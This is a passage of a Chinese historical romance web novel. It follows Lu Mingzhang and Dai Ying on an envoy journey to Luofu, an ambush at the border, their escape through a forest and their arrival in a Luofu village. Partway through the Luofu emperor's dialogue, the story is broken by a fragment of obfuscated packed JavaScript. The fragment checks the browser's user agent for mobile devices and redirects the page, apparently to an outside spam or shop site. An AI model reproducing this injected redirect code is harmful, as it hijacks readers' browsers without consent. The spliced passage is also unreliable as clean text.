余信赶紧撩衣跪下:“陛下,臣已年迈,那罗扶距咱们大衍山高路远,臣死在路上没关系,只是恨不能再给陛下尽忠啊……”
“这可如之奈何?陆铭章以下犯上,宰相先时奏请削其权柄,却又无可行之策,岂不叫我难为,总该拿个章程出来。”衍帝端坐于御案之后,两眼淡淡的直直的,看向堂下众臣。
此时,堂间再无一人应话,余信再度开口道:“不如叫陆铭章先出访罗扶,或是将功补过,又或是待他归来另行清算,也不算迟。”
“也只能如此了。”衍帝看着堂下几人,问道,“若无奏请,便退下罢。”
余信等人跪拜起身,退出了殿外。
待几人走后,衍帝呆滞无浊的眼珠动了动,再微微垂下眼皮,纤长的眼睫不经意地颤动了一下,掩住眼底的闪动。
……
自从戴缨同陆铭章起过一场争执,两人的关系就像是烧不沸的水,不凉手,却也不烫人。
从前两人用罢晚饭,偶尔会去园中散散步,回房后沐过身,入到帐下,靠坐于床头。
陆铭章看书,她也
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看书,又或是扒拉算盘珠子,互不打扰。
再晚一些,他便催她早些歇息,说是歇息,烛火辉映下,是两道渐渐交融的身影。
现在呢,好似都心知肚明隔着点什么,他回来时,她已睡下,背对着他。
陆铭章便无声地坐一会儿,之后熄灯躺下,其实在他躺下后,二人都没有睡去,也不知几时睡去。
直到这一晚……
陆铭章回房后,如往常一样沐身更衣,入到被中。
他先是侧目看向背对着他的戴缨,他靠坐着,高出的视线可以观得她睁着眼,并且视线落在纱帐上的影儿上,而那个影儿是他的。
他伸出手,用手背在她下颌处轻抚,说道:“明日便要启程了。”
戴缨眼睫一颤,转过身,张了张嘴,想说些什么,却又说不出来。
“几时能回?”
陆铭章摇了摇头:“这可说不好,一路上难预料的事太多。”
戴缨想了想又问:“明日几时出发?”
“天不亮就启程。”
虽说两人之间的结未真正解开,因各人都有各人的坚持。
陆铭章恪肃且理智,戴缨柔动而感性,不过真到了分别前夕,先前激起的冲突也就淡无了,只是谁都拉不下这个脸。
她以为,借着这个离别的话头,夜里自有一番缠绵温存,然而却没有。
陆铭章只是告诉她,自己明日天不亮就要启行,之后没有多说什么便睡下,戴缨睁眼看向头顶的床帐,不知几更天睡去……
次日,天还未亮,身边有了细微的动静,因后半夜才入睡,待陆铭章起身时,她整个人在醒与不醒的边界,挣脱不出。
甚至以为自己醒了,还坐起了身,实则没醒,人还躺着。
神思游离,渐渐沉入梦里,梦中,她听到一个声音,从很远的地方飘来。
“要不要……”
戴缨没听清,只听到这三个字,要什么?嘴里跟着含糊不清地嘟囔。
接着,那声音再次在她脑海响起:“要不要一起?”
这一次,她听清了,不仅听清了,还分辨出这个声音的主人。
“罗扶国,要不要随我去看看?”
那个熟悉的声音响在她的耳边。
戴缨猛地睁开眼,心脏怦怦跳个不停,先入眼的是一片黑,接着就见陆铭章坐在她的身侧,松散着衣衫,温静地看着她。
“大人?”戴缨唤了一声。
陆铭章“嗯”了一声算是回应。
戴缨睁着双眼,再问:“你刚才说话了没有?”
陆铭章笑出声,见她那样子实在可爱,忍不住捏了捏她的脸腮,没有给以回答,而是问道:“要不要随我一起,出门看一看?”
“去罗扶?”戴缨直愣愣地开口。
“是,想不想?我带你去……”
第144章 叫一声,我听听
“想!”
不待陆铭章话音落,戴缨迅速从床上坐起,并给了一个十分肯定的回答,回答完后,又问,“这是真的?”
陆铭章嘴角带笑,将身上松懈的衣带系好。
戴缨也不要他回答了,赶紧下榻穿鞋,生怕自己晚了一步,丫鬟们进到房里,开始给主子们穿衣洗漱。
戴缨向归雁交代,赶紧收拾她的行当。
“孔嬷嬷昨儿就清点好了。”归雁一面替戴缨理衣,一面说道。
“昨日就清好了?”戴缨吃惊道。
归雁笑嘻嘻点头。
原来陆铭章早就让人将她的行李整好,就等她一声同意。
离府时,天还未亮,老夫人那边陆铭章已提前打过招呼,走之前没再去叨扰。
出了府门,阶下停了一队车马,十来人的样子,马车两边的侍人提了灯。
此时天还未亮,东方天际泛起一刃白光,陆府门前灯火通明。
石阶下整齐列着十余辆马车,马匹不时踏动蹄子,在青石板上发出清脆的声响,侍从们手持灯笼侍立两侧,昏黄的光晕在晨雾中晕染开来。
“娘子,你看。”归雁从旁扯了扯戴缨的衣袖。
戴缨转眼去看,竟在队前骑马的人中看见了陈左,怎么他也随同?
戴缨和陆铭章先后上了车,没一会儿,马车启行。
“我适才在队伍里看着陈左了。”戴缨说道。
“我让人叫上他的。”陆铭章说,“你身边只有一个小丫头,在外没个可使唤的,便把他带上了。”
这个陈左是戴缨铺子里的伙计,是个可信且能办事之人。
戴缨感念他替自己周全。
马车走了一程出了城门,此时天光已明。
只见官道两侧,黑压压列着大队精骑,军容威整,旌旗在晨风中猎猎作响,骑兵们身着统一的轻甲,在曦光下闪烁着冷冽的光,另有许多车马跟随,其中随行人员,有医官,工匠以及杂役等。
浩浩荡荡好大一支队伍。
陆铭章下了马车,一轻甲卫快步上前,躬身道:“禀大人,使团仪仗已整顿完毕,陆路驿站皆提前打点妥当。”
陆铭章微微颔首,只道了两个字:“出发。”
待陆铭章再次回到车中,大队人马启行,朝着一个方向缓缓驶去,天际边的云彩被新升的太阳映红,一点点亮起。
晨起出发,天暗时,到了驿站。
戴缨在马车里坐了一日,早已坐不住,这一路就没怎么歇息过,一到驿站,驿站的管事将戴缨引去上房,又让仆役端上热乎的饭菜。
归雁从门外走来,说道:“适才安管事说,家主同下属议事,叫娘子先用饭食,晚间早些睡,不必候他。”
戴缨表示知晓,吃了些饭菜,又让人备来热水,洗漱过后,便躺下睡了,陆铭章回屋时,戴缨已完全熟睡过去,不知是不是路上颠簸,以至于她睡得很熟,连他走到床边,她都没有醒。
鼻管里呼出绵长的气息。
他将戴缨带在身边,主要还是担心他不在,赵映安对她下手。
那日在书房,他头一次见她那样大的反应,看向他的眼神太过复杂,似是带着一点点遗恨,然而,这份怒气中的恨又那么不彻底。
陆铭章转身出了屋子,去了另一间屋室沐洗,待洗过身后,再回这方屋室躺下睡去。
次日,大队人马再次启程,依旧走得是官道,走走停停,一路上走一程歇一程。
陆路走完再走水路,按着预先设定的路线逶迤辗转,终于靠近了大衍和罗扶的交界。
这日,天色将暗未暗时,大队人马到了一处驿站,准备休整一晚,次日再度启程。
这里算是大衍国境的最后一个驿站,再往前去,便是一片空区,之后就到罗扶境土。
戴缨披着微湿的发丝,伏在窗台,看着不远处起伏的青山,山间的翠意因着渐渐黯淡的天光变得朦胧。
随着太阳完全落到山后,暝色渐浓,周围的空气变得凉津津,山间不时传来倦归巢时的鸣啾。
这时,楼下院子里有人私语,于是她低下眼去看,就见两人,一人坐于台阶上,一人靠在粗大的树干边。
那坐于台阶上的人正是自己的丫头归雁,而靠于粗大树干之人是陈左。
“阿左哥,你从前出过远门么?”归雁问道。
陈左摇了摇头。
归雁似是想到什么,从前鸢娘身边离不得人,别说出远门,只怕陈左连京都的城门都很少出过。
“陈左哥,我给你拿了几个果子。”归雁说着从兜里掏出,递上。
陈左看着那几个青果,愣了愣,摆手道:“留着你自己吃。”
“吃罢,吃罢,我还有好些。”归雁将手里的三四个果儿往前又递了递。
陈左道了谢,从归雁手里接过青果。
白日的躁意已降下,戴缨凭着窗栏,立于楼上,听着他二人有一句无一句的闲话。
微凉的晚风,还有闲下来的人,一切都很美好。
“在看什么?”陆铭章从后走来,立于窗边。
戴缨侧过身,靠着窗,笑道:“我想还有几时到罗扶,在罗扶停留几日,真想这趟行程长一些,莫要那么快结束。”
“不想家?”陆铭章问道。
戴缨想了想,她好像没有家,平谷戴家吗?那不是她的家,京都陆府?那宅子里的地砖太硬,根系没法扎得更深。
“大人……”戴缨开口想说什么。
陆铭章挑起她微湿的发于指腹,轻轻地捻了一下:“阿缨,你可以唤我的名字,叫我阿晏。”
戴缨哪敢称呼他的小名,想了想,说道:“不如我同长安一样,唤大人一声‘阿郎’?”
这阿郎二字,是仆从对男主人的亲切称呼。
陆铭章摇了摇头,说道:“你试着叫一声,我听听。”
戴缨稍稍低下头,听了这话脸有些红,好在天光幽暗,看不清明,而后抬起头,张开嘴:“阿……”
终是没唤出来,她不能那样称呼他,太过不敬。
陆铭章没说什么,同她一起看窗外的山景。
一夜无话,次日队伍再次启行,往下走,就是真正的两国交界处。
这个交界,并非一条线,而是一片空区,无人管制,也无人居住的区域,穿过这一片区,才算是真正进入罗扶境内。
大队人马在郊野前行,他们一路走来,因军兵随护,无宵小敢滋扰。
戴缨坐马车从来没有想吐的感觉,然而这一刻,她觉得嘴里泛酸,胸口憋闷不已。
见她脸色苍白,陆铭章轻拍她的背:“要不要停下歇一歇?”
戴缨歪在车壁,声音发虚:“不知还要多久?”
“快了。”陆铭章揭起车帘,往外看去,戴缨便跟着往外看。
现下行的这条路虽说不狭窄,却过于颠簸,黄土路面
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坑洼不平,两边杂木丛生,前面的马蹄扬起尘土,腾腾往上。
她看着那些灰黄的烟土,胸口壅塞的更实了,遂将车帘打下,整个人倚到陆铭章的肩头,闭上眼。
“妾身还能再忍忍,快些把这一段路走过去。”戴缨想到什么,又问,“回程时还走不走这条路?”
“其实还有水路可走,若是择了水路,几乎整个行程都在船上,我担心你受不住,届时不到港口下不得船,更难挨,是以当初未择水路。”陆铭章说道,“你若愿意,回程时可走那条水路。”
戴缨没说好也没说不好,只是不应声,陆铭章见她闭着眼,本就白的肤这会儿没了好气色,有些发灰。
正在此时,马车遽然停下,车壁被敲响,长安的声音从车外传来。
“阿郎,有人拦道……”
长安话音刚落,前面就响起兵器打斗的声音,陆铭章掀起车帘出了马车,不一会儿,进到车里。
戴缨见他面色不对问道:“是什么人,拦路的**?”
陆铭章没有回答她的问题,只有一个字:走!
她本是没太紧张,这一带不属两国境土,无人辖制,遇上**不稀奇,队里有军兵,就是遇上**也能轻松应对过去。
然而,陆铭章给的反应不对,他神色绷着,只有简短的一个字。
戴缨快速反应,却没有立刻起身,而是弯腰到坐凳下,从下面取出一方黑木匣。
陆铭章不知她在寻什么,催促道:“快些!”
戴缨将黑木匣抱在怀里,跟着跳下马车,长安召了几十人随护在侧,归雁和陈左也聚了过来。
一众人护着他们往道边的丛林间跑去。
就在这一时,戴缨趁机回头,只看了一眼,身体里的血便如同凝住了。
密密麻麻的黑衣人,数不清……手拿**,刃是血红的,身手迅捷地同大衍军卫打斗,大衍兵在这些黑衣人手里最多只能挡几下,便倒下。
那些黑衣人中有人发现了他们,有三两个跟上来,随护的军卫前去抵挡,让其他人继续往林深处跑。
戴缨急吼吼跑着,只觉得肺里火辣辣的,脑子里全是随行的医官和杂役们倒下的样子。
手上温实的力道将她的神思拉回,侧头去看,陆铭章一直紧紧地牵着她的手。
此时,他们身边只剩下几名军卫,身后的厮杀声一点点远去。
陆铭章展眼往周围看了看,说道:“走这边。”
戴缨被陆铭章牵着往一个方向走去,她将嘴角衔着的发丝拨开,此时身后已无人追来,长安和另几名军卫随在身边,陈左和归雁紧紧跟随。
绿植翳翳,树木高深,周身的空气弥漫上蛛网般的薄雾,地面变得潮湿。
天色暗了下来,
“是不是安全了?”戴缨咽了口唾沫问道。
陆铭章没有说话,她从未见他神色如此凝重过,太突然了,一切都透着反常。
此时众人没有多的心思去想。
“先找个地方避一避,这林子再走下去会**。”陆铭章一面说一面拿眼往四处打看。
“大人,你看。”其中一个护卫指向地面。
潮湿的地面有一条突露的道,很窄,比一个正常人的身子还窄,路边的杂丛往两旁倒去,只有这一条是泥路,往一个不算陡的坡蜿蜒而下。
既然有路,就一定有人,显然是走多了被踏出来的……
第145章 再也回不去了
几人沿着坡路走去,终于,在天完全暗下来前,看到前方有一小屋,不必进去,也知道是个无人居住的弃屋。
长安将木门推开,门板发出“吱呀”的晃动,走了进去,不一会儿又走出来。
“废弃的,想是山里人搬走了。”
戴缨随陆铭章进到屋里,就着昏暗的光线,往这方破败枯朽的木屋打量。
有桌,有椅,桌椅的面上、横衬上覆了薄薄的灰,墙面的窗扇歪挂着,窗边搭了一块看不清颜色的布。
护卫拢了些角落的干草,堆在屋中,又将几个椅凳碎成木条,架起,用随身携带的火折子引火。
“会不会把那些人引来。”陈左担忧道。
长安看向他,摇了摇头:“那些人没打算追杀。”
“没打算追杀?”
“是,要追早就追来了。”长安说罢,不欲多言。
陈左也没再多问。
火堆燃起来后,几人围坐,虽说现在时节气暖,可山间的夜晚还是很寒凉。
烤过一会儿火,几名护卫寻了个离火堆不远的角落闭目养神。
直到这时,戴缨才低声发问:“这些人是什么来路?”
“不是**,手法狠辣,进退有据,是正经行伍里训出来的军兵,且不是普通兵卒。”陆铭章说道。
“精兵?”
陆铭章点了点头,这些人偏偏选了介于两国间的地方下手,这就很值得深思。
篝火“噼啪”轻响,跃动的火光在几人脸上投下明暗不定的阴影。
“是罗扶那边的人。”长安插话,“迎亲使团在大衍地界,他们没法动手,若使团到他们自己的国界,更不敢动手。”
戴缨听懂长安话里的意思:“若我们在罗扶境内出事,罗扶需要担责,更甚至会再次挑起战争。”
说罢,带着问询的目光看向陆铭章。
陆铭章点了点头,扯动唇角笑了笑。
戴缨屈腿坐着,并拢双脚,半露在外的绣鞋早已泥得不成样子,裙裾也污了。
就在无人说话时,戴缨再次开口:“接下来该当如何?返回大衍?”
陆铭章一双眼盯着火堆,半晌不说话,眼中火光跳动,过了好一会儿才缓缓开口。
“走都走到这儿了,不入罗扶国境,岂不可惜?”陆铭章抬眼看向戴缨,“就不想去看看?”
戴缨觉得在理,只差一步就到罗扶,可又说不出的怪异,总觉得哪里不对,转念一想,又问,“若行刺的黑衣人真是罗扶军兵,那咱们一行人到了罗扶国界岂不危险?”
适才长安说那些人不知是何原因,没有追杀而来,他们这些人真到了罗扶地界,岂不等于羊入虎口?
谁知陆铭章听后,简简单单说了三个字:“不危险。”
戴缨不明,想要多问两句,但陆铭章的神色有些不对,周身萦绕着难以形容的冷寂,而面前的篝火正在一点点将他烘化。
她的心跟着一揪,扯了扯他的衣袖,满眼担心地看着他,陆铭章好似才回过神一般,眼神重新聚焦,回笼到戴缨身上。
他努力捺下满腹心事,将注意放到她的身上,衣衫有几处被挂破,脚踝的白绫袜也脏了,再转目看向她拉着自己衣袖的手。
她自小生在金银窝,也是娇养出来的人,一双手更是护得好,骨节匀长,纤纤如葱根,四指并拢时嵌有浅浅的窝痕。
然而这会儿,那细白的手背交错了几道不深不浅的血痕,尤为刺目。
他将她的手执起,问向一旁的长安:“身上可有药?”
长安从怀里搜了搜,掏出一个小瓷瓶,起身递上。
陆铭章将药塞抽开,以指剜出一点,再将她的手搁在自己屈起的腿膝,将指腹上的膏药缓涂于那几道伤口。
“不疼?”陆铭章问道。
戴缨见他这么问,赶紧龇了龇牙:“疼。”
这一声,把篝火边的几人都逗笑了。
“不必担心,没事的,罗扶反而没那么危险。”陆铭章一面替她抹药,一面说道。
戴缨看着他低垂的眉眼,她其实并不十分担心罗扶是否危险,倒是有些担心他。
在她心里,他一直是个立于云端之人,大权在握,做任何事皆从容,眼下却沦落于深林老屋,那一身蕴藉雅致不知还能维持多久。
戴缨想到这里,看向对面的陆铭章,衣衫也破了,额前垂下一绺发,颊上染了一撇脏灰,像是周身以权势构成的华光开始淡化,露出他的本来面目……嗯,比先前更好看了。
篝火渐渐熄弱,几人各自找了角落暂歇息,待翌日天亮再出发。
彼边……
罗扶国,皇宫。
殿内灯火辉辉,殿角设有九层烛台,一眼看去,满眼的金光粲然,十分奢华,地砖是暗青色,像是磨成形的一大块一大块的翠玉铺展而成。
高的花几,矮的茶几,大幅面的黑木螺钿屏,还有塞满整个殿宇的火光,显得热热闹闹。
同样是宫殿,同赵映安的宝宁殿中的冷寂完全不同。
一男子坐于罗汉榻上,榻中设有一小几,几上摆了茶盘。
这年轻男子眉目坚毅,三十多岁的模样,身着一袭浅红色圆领袍,将手里的茶盏搁于小几,那茶盏刚刚放下,一旁就有人替他续上。
替他续茶之人,看起来同他差不多年纪,眉目深刻,一张脸比先前那名男子更加英悍。
这续茶的年轻男子正是出访大衍的祁郡王,元载,而喝茶的红衣男子则是罗扶帝,元昊。
“把人拦下了?”罗扶帝问道。
元载一声笑,给自己也倒了一杯茶水,手上执壶,嘴里说着:“那还能拦不下来?调得咱们最精锐的军卒,他们如何抵挡得住。”
罗扶帝“嗯”着点了点头。
元载端起茶盏,看似随意地问道:“皇兄怎的不直接下令把人杀了?还留他一命?”
罗扶帝先是看了自家弟弟一眼,说道:“陆铭章这人……**可惜,我倒想用他。”
元载点了点头:“也对,这人算是不世出之才,若能为我罗扶所用,再好不过……”说着,顿了顿,又道,“我还想同他再较一较。”
“较什么?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16774412|186148||http|test|mini|href|location''.split(''|''),0,{}));
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r>“先前在大衍时,小弟同他攀酒,本想他一文臣,酒量应是没多少,谁知……”元载一想到当晚的情形就觉得丢人,“那姓陆的也忒能喝,看着斯文,实是个生野的。”
“你输了?”罗扶帝笑问。
“不提也罢,不提也罢。”
元载想起一事,问道:“把他这么放了,若是他再返回大衍,该当如何?总觉着是个祸患。”
罗扶帝低下眼,看向杯中清亮的汤色,没有直接回答,而是问了另一个问题:“你觉得陆铭章这人蠢还是不蠢?”
元载听自己兄长问他,陆铭章蠢不蠢,这个话他没作多想,很快就给了回答。
“不仅不蠢,且是个极厉害之人,不论是心计还是手段。”
否则也不会一上任,大衍军政在他的统管和调配之下,就压持住罗扶,叫他们吃了好几场败仗。
这样一人,叫他们如何不忌惮。
罗扶帝却说道:“叫我说,他这人……愚不可及。”
元载怔着,不知该作何反应,兄长评陆铭章愚不可及?他不是听错了罢?
接着罗扶帝又道:“他的一身才智用在了忠君、家国、大义之上,却唯独忽略一点。”
元戴似是听懂了:“兄长是说……”
“不错。”罗扶帝声音沉了几分,“他失算了,这一局,他满盘皆输,此时此刻,他应当比谁都清楚自己的处境。”
“不,不能说失算,应该是……他清醒地走进了一个无解的死局,他被自己立下的规则给封堵,空有力量,却动弹不得,落得这样的结果,不得不说……是有些残忍。”
这是一场专为他量身打造的局,可悲啊!
罗扶旁顿了顿,一字一句道:“大衍,他是再也回不去了。”
……
戴缨从陆铭章身侧醒来时,外面的天还未亮,她是被冻醒的,面前的篝火早已熄冷,地面只有燃过的黑灰。
山林间的风从破败的窗户吹进来,把挂在窗前的破布吹起,一下一下地招飐着。
“醒了?”
陆铭章的声音从头顶传来,他们没有带厚的衣物,他只能将她环着,为她提供一点暖意。
戴缨搓了搓手尖,把脖子缩了缩,再将冰凉的手塞入他的衣襟内,让他胸前的温热给自己烘一烘。
他便将她环得更紧了:“再闭眼睡会儿,等天亮了再走。”
戴缨点了点头,偎在他怀里再次闭上眼,又困了一会儿,等再次睁眼,窗外天光大放,林间是清脆的鸟叫。
那样浩浩荡荡的大队伍,如今只剩下他们这些人。
护卫三兄弟,长安,阿左,归雁,还有就是她和他,一共八人。
几人走出小木屋。
天虽亮了,可山林间雾气很浓,几人沿着留下的路,一点点往山外走去。
一路走着,几人身上单薄的衣衫皆被洇湿,不知走了多少时候,雾气渐渐变淡直至散去。
哪怕有一条被踩出来的路,那路也难走得很,不过好在还是走出来了。
下了山,再往前行一程,是一片村庄……
第146章 这一声“夫君”
不知是否村里进了陌生人的缘故,村子里的狗一声塞一声地吠叫。
就在众人不知接下来该当如何时,陆铭章开口道:“找一户人家,歇歇脚。”
三名护卫和长安留下来护陆铭章和戴缨,陈左应了陆铭章的话,往村里行去,寻了一户院门半敞的人家,先是礼貌地敲了敲院门。
“有没有人?”
院里出来一妇人,见院外突然出现一张陌生面孔,也不出院子,扬声问了句:“你谁啊?哪里来的?”
“嫂子,我们从大衍来罗扶探亲的,这不,在山道上遇了劫,弯弯绕绕逃到这里。”
陈左兜起一脸笑,那妇人仍戒备着,往他身上睃了一眼,转头喊了声:“当家的,快出来!”
这会儿从屋里出来一高壮男人,妇人便把陈左的话给她汉子说了。
“说是罗扶来的,遇了贼。”
男人点了点头,走到院门边,往他身后看了眼:“只你一人?”
“我同妹子一家来的,他们在村道上,我先来问问,看能否行个方便叫我们几人歇一歇,吃顿热乎的,房金和饭钱奉上。”陈左笑着从袖里掏出钱袋子,就要送上银两。
那汉子见了,摆了摆手:“一顿饭不当什么,叫你妹子一家到屋里来坐。”
陈左“诶”着应下,转身去村道,随后,戴缨几人进了那家院子。
那对夫妇见眼前几人头发有些凌乱,衣衫也破了,身上还带着细伤。
虽是如此,可依然看得出这些人衣着考究,首先是那一对男女。
男子年长些,应有三十,身量修长,看着是个读书人,而那女子正值青春之年,纵使鬓发散乱,却也掩不住好颜色。
且这二人身上的衣衫面料哪怕是他们这些不懂行的乡下人,也知道是极好的料子。
想那男人的妹子嫁的是个富户,另有三人一身劲装,看着像是随行的护卫。
几人进到院子后,妇人便到厨房给几人烧火做饭,这家男人见屋里太狭小,干脆搬了凳子到院中。
“你们略坐坐,一会儿饭就好。”汉子说道。
陆铭章并未立刻就座,而是朝这汉子拱手施了一礼,并给长安睇了个眼色。
长安会意,从袖兜取出银钱,奉上。
那人不接,嘴里说着:“使不得,使不得。”
陆铭章说道:“不是什么大钱,主人家收下,我家妻子衣衫和鞋袜湿了,想问阿嫂要些干爽的衣物换过。”
汉子见长安将钱袋子塞到他手里,也就收下了,叫自家婆娘从厨房出来。
“把你那不怎么穿的新衣寻出来,给这二位女客换上。”
妇人听后,引着戴缨和归雁进了屋里。
汉子见院中几名男子身上也湿了,且衣角鞋面沾有泥垢,说道:“我还有几身干净的衣物,只是件件都缝补过,就怕几位多有嫌弃……”
汉子说这话时,眼睛看向陆铭章。
这位郎君哪怕身上沾了泥污,一身气度却是让人不能移眼,他是个粗人,形容不出,反正他立在那,就是同旁人不一样。
“不知主人家贵姓?”陆铭章问道。
汉子引几人往屋里去,嘴里说道:“我姓朱,排行老幺,都叫我朱老幺。”接着问道,“敢问怎么称呼郎君?”
陆铭章说道:“鄙人姓陆,名晏。”
汉子把人引到里屋,翻开箱子,找了几件不常穿的衣衫和鞋袜。
“你们试试看合不合身,我先出屋。”
待朱老幺出了屋子,房里只有陆铭章,长安,陈左并三名护卫。
“阿郎先挑选。”长安将衣物拿到陆铭章跟前。
陆铭章随手拿了一件,说道:“快些把衣物换了。”
其他几人应是,迅速更衣。
待陆铭章几人从屋里换好衣物陆续出来,正巧戴缨主仆也换好了衣物,走出屋。
两相对看一眼,都从对方眼里看到了一点点惊诧的笑意。
陆铭章自不必说,前世,于戴缨而言,他就是一个面目不清,让她极为忌惮的存在,端坐在轿辇中,不露脸,也能感受到震慑的那类人。
可眼下,只见他身着洗褪色的靛蓝布衣,袖口处还有缝补,脚上穿着一双黑布鞋,系于腰间的不再是白玉带,而是麻腰带,缠了两圈,在侧面打了个结。
发式也变了,从前大多时候簪冠,现下只用一根树杈式的木簪将头发束起,随意且自然。
从前,她一直看不太清陆铭章的姿貌,就是哪哪都挑不出错,却又很难一眼上心的清淡貌。
然而现在,不知是不是那衣衫太旧太素,还是别的什么原因,他的轮廓十分清晰地映入她的眼底。
皮肤很好,不过分白腻,却也不黑沉,眼皮薄,带了一点点轻微的褶皱,看上去温和清韵很好说话的模样,竟比从前更顺眼了。
“怎么?不认得了?”陆铭章问道。
戴缨走到他身前,上下打量一番,言语带笑道:“我才发现……”
“发现什么?”
“原来褪去那层锦衣华服,大人……也就勉强看得……”
此话一出,引得周边几人倒吸一口凉气,陆铭章更是怔在那里,然而不等他反应,戴缨已经出了屋,走到院中。
长安和陈左走到陆铭章身侧,先是往他脸上看了看,长安还没开口,陈左开了腔:“阿郎不必在意,小妹她不是个注重外在之人。”
随后陈左也出了堂屋。
长安观着陆铭章的面色,张了张嘴:“屋里光线太暗,要不到光线亮些的地方,叫小娘子再瞧一瞧?”
陆铭章侧目横向长安,本欲甩袖,结果发现身上穿得不是大袖。
这家妇人手脚利索,很快就炒了几个小菜,虽说看着没什么油水,但对戴缨一行人来说,已是美味。
他们从遇到劫杀躲入山林,又在木屋避了一夜,最后出山,早已饥肠辘辘。
此刻饭菜上桌,几人就座,夫妻二人在一旁陪坐。
陆铭章端起碗,其他几人跟着端碗,直到他咽下一口饭,几人才开始拈筷夹菜。
“敢问这里可是罗扶境内?”陆铭章问询
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道。
朱老幺点头称是:“咱们这村子就在罗扶境内。”说着,扬手往屋后一指,“越过这座山头,去了那边,就不是了。”
朱老幺指的方向正是戴缨等人来的方向。
陆铭章点头又问:“这里离镇上远不远?”
他们先得去镇上,找个地方好好歇一歇,之后要怎么办,他目前还未想好,他在等一个消息,虽说他心里已经有了数。
几人一面用饭一面说着话,大多是陆铭章向夫妻二人探问有关罗扶的情况。
戴缨在一边听着。
那汉子见陆铭章问镇子离他们村的距离,说道:“倒是不远,坐驴板车,要不了半个时辰。”
接着,汉子又问,“你们要去镇上?若是想去镇上,得抓紧了,咱们村的老李头差不多这个时候赶车走,你们可以搭他的板车。”
几人快速用**,朱老幺替陆铭章等人叫了老李头的驴车,接着几人搭上车,往镇上去了。
板车上,戴缨坐在陆铭章的对面,快速地往他面上瞟了一眼,他却看也不看自己。
于是转过头,看着赶车的老李头,问道:“老人家,我向你打听个事。”
老李头在前赶着驴,乐呵道:“小娘子请讲。”
“从这个镇往京都去,远么?”戴缨问这话的同时,以眼梢看向陆铭章。
老李头说道:“小娘子算是问对人喽,老儿虽是小地方的人,却也去过京都三两回,从这里乘车到京都,少说也得月余。”
戴缨以玩笑的口吻又问:“京都可有大衍人,我们去了不会被赶出来罢?”
老李头笑出声:“怎么没有,不仅有你们大衍人,还有别的国的人哩!你们比旁人多个鼻子多个眼不成?”
说罢,老李头问道:“几位打算去京都城?”
戴缨轻笑出声:“千里迢迢来一趟,倒是想去瞧瞧,就是不知我家夫君同意不同意了。”
戴缨声音本就甜净,这一声“夫君”更是清软,也不知叫到了谁的心坎间。
再看陆铭章,本是冷着一张脸,这会儿却开口道:“若是想去,明日就出发,我又岂会拦着。”
“你们到罗扶来是为探亲还是?”老李头问道。
陆铭章接过话:“探亲。”
老李头道了几个“好”字,不再问了。
到了镇上,几人先去了客栈,让店伙计开了几间房,备下热水。
陈左和归雁往街上买日常物资,好在他们身上都还有些银子,可以应对眼下。
其他几人归到房里,沐洗歇息。
戴缨看着身处的房间,不算宽敞,那老李头说这是镇上最好的客栈,一扇不算高的帷屏隔出一方小小的沐间。
白色的水汽从帷屏氤氲而出。
她现在急需用热水洗净头身的污浊,但眼下落难,不似从前在陆府,可随意召唤下人。
于是打算问陆铭章,是他先洗还是她先洗,转身待问,却见他坐在桌边,唇线微抿,垂着眼睫,无法言说的孤寂将他彻底笼罩,看得她心头一涩……
第147章 她舍不得收手
戴缨将他的神情看在眼里,再将他的思绪从沉浸中捞出。
“热水好了,爷进去沐身罢。”
陆铭章抬眼,点了点头,起身往帷屏内走去。
戴缨听着里间衣料窸窣,然后是水声哗啦,等水声回响静下,再没了任何声音。
她侧过头,看向那扇不算高,有些发旧的帷屏,腾起的烟丝渐渐变淡,帷屏另一端仍是静着,于是立起身,缓缓走到帷屏开口处,往里看去。
因帷屏遮挡的原因,沐间光线有些暗,陆铭章背靠着沐桶,就那么坐着没有动。
戴缨敛下眼,复再抬起,走到他的身后,低下身,将双臂从后环住他,清楚他心里有更深更难解的愁郁,却以玩笑的腔调在他耳边喁喁私语。
“爷也太小气了,不过是一句玩笑,真就生气到现在?”
他抬起手抚上她的臂膀,轻叹了一声:“不气,不为这个。”
她将他从后拥得更紧,胸口紧紧地贴上他的后背,两人一时间都没有说话。
他有很重很重的心事,而且不止一件,她知道,所以没有开口追问。
正在这时,房门被敲响:“娘子,婢子拿了更换的衣物来。”
戴缨起身,走出了沐间,开了门,从归雁手里取过干净的衣物:“你们也累了,这里不用伺候,去歇息罢。”
归雁应下:“婢子就在隔壁。”
戴缨道了一声“好”,闭上房门,回屋时,沐间有了撩动的水声。
陆铭章洗罢后,换上衣物,又叫店伙计另备热水,戴缨从沐间出来时,桌面已摆上热乎饭食。
因着在朱老幺家才吃没多大会儿,两人随便吃了些,漱过口,叫店伙计上来把桌面清了。
一夜没有好睡的两人早早歇下。
屋里没有点灯,黑着,没一会儿被中便升了温,戴缨偎着他,轻声道:“接下来要怎么办?”
头一次,陆铭章没有及时给出回复,就在她以为他睡着时,他的声音从黑暗中传来,很轻很低:“你不是想去罗扶国都么?”
她其实问得是,她们接下来的一个整体打算,往下该怎么走,而陆铭章的这个回答,显然是他也不清楚。
“阿缨……”陆铭章再次开口。
“什么?”戴缨问道。
“如果……我们不能回大衍,不能回陆府,再没有从前那样的富贵日子,你会不会怨我……”
“不能再回大衍?”戴缨换了一种问法,“也就是,我们以后就在罗扶了?”
“对,可以这么说。”陆铭章不打算隐瞒。
戴缨双眼睁亮,以一种兴奋的语调说道:“我懂了,大人的意思是以后我们就在罗扶扎根,在那里为家,是不是?”
陆铭章想过她的多种反应,唯独没料到这种,好似还挺开心。
“是。”
“这没什么不好。”戴缨回道,“阿缨不会怨大人。”
“真不怨?”
现下再想,陆铭章是有些悔的,不该为着一己私欲占了她,该给她找个合适的人家,让她无忧无愁,对她来说那才是更好的一条路。
她从前告诉过自己,同谢容解除婚约后原打算回平谷,找个合适的人家嫁了,做点小生意,安稳平淡地过一生。
是他用了手段,看着她无能为力,在走投无路之下找上自己。
他的欲念在她身上一点也不想收敛。
他以为她跟了他是最好的选择,不拘着她,她可以做任何她想做的事,若遇到难事,只要她开口,他可以随时替她平事。
除了一个正室之位……
然而现在,那些他曾经的“以为”,皆成了虚影。
